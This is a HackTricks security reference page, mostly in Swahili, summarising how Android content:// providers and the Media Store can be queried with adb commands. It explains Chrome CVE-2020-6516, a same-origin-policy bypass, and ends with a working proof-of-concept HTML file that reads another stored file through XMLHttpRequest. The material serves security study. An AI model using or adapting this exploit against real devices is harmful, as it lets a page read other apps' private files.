content:// protocol

Support HackTricks

Hii ni muhtasari wa chapisho https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Kuorodhesha Faili katika Media Store

Ili kuorodhesha faili zinazodhibitiwa na Media Store, amri iliyo hapa chini inaweza kutumika:

$ content query --uri content://media/external/file

Ili kupata matokeo rafiki kwa binadamu, kuonyesha tu kitambulisho na njia ya kila faili iliyoorodheshwa:

$ content query --uri content://media/external/file --projection _id,_data

Watoa maudhui wamejengwa katika eneo lao la kibinafsi. Upatikanaji wa mtoa huduma unahitaji URI maalum ya content://. Taarifa kuhusu njia za kufikia mtoa huduma zinaweza kupatikana kutoka kwa hati za programu au msimbo wa chanzo wa mfumo wa Android.

Upatikanaji wa Chrome kwa Watoa Maudhui

Chrome kwenye Android inaweza kufikia watoa maudhui kupitia mpango wa content://, ikiruhusu kufikia rasilimali kama picha au hati zilizotolewa na programu za wahusika wengine. Ili kuonyesha hili, faili inaweza kuingizwa kwenye Duka la Media na kisha kufikiwa kupitia Chrome:

Ingiza kipengee maalum kwenye Duka la Media:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Gundua kitambulisho cha faili mpya iliyoongezwa:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Ili faili liweze kuonyeshwa kwenye Chrome, tumia URL iliyoundwa na kitambulisho cha faili.

Kwa mfano, ili kuorodhesha faili zinazohusiana na programu maalum:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

The Same Origin Policy (SOP) ni itifaki ya usalama katika vivinjari inayopunguza kurasa za wavuti kutoka kuingiliana na rasilimali kutoka vyanzo tofauti isipokuwa ikiruhusiwa wazi na sera ya Cross-Origin-Resource-Sharing (CORS). Sera hii inalenga kuzuia uvujaji wa taarifa na udanganyifu wa maombi ya tovuti tofauti. Chrome inachukulia content:// kama mpango wa ndani, ikimaanisha sheria za SOP kali, ambapo kila URL ya mpango wa ndani inachukuliwa kama chanzo tofauti.

Hata hivyo, CVE-2020-6516 ilikuwa udhaifu katika Chrome ambao uliruhusu kupita sheria za SOP kwa rasilimali zilizopakiwa kupitia URL ya content://. Kwa hivyo, msimbo wa JavaScript kutoka URL ya content:// ungeweza kufikia rasilimali nyingine zilizopakiwa kupitia URL za content://, ambayo ilikuwa wasiwasi mkubwa wa usalama, hasa kwenye vifaa vya Android vinavyotumia toleo la kabla ya Android 10, ambapo uhifadhi wa kiwango haukuwekwa.

The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under /sdcard and added to the Media Store, uses XMLHttpRequest in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Support HackTricks

Last updated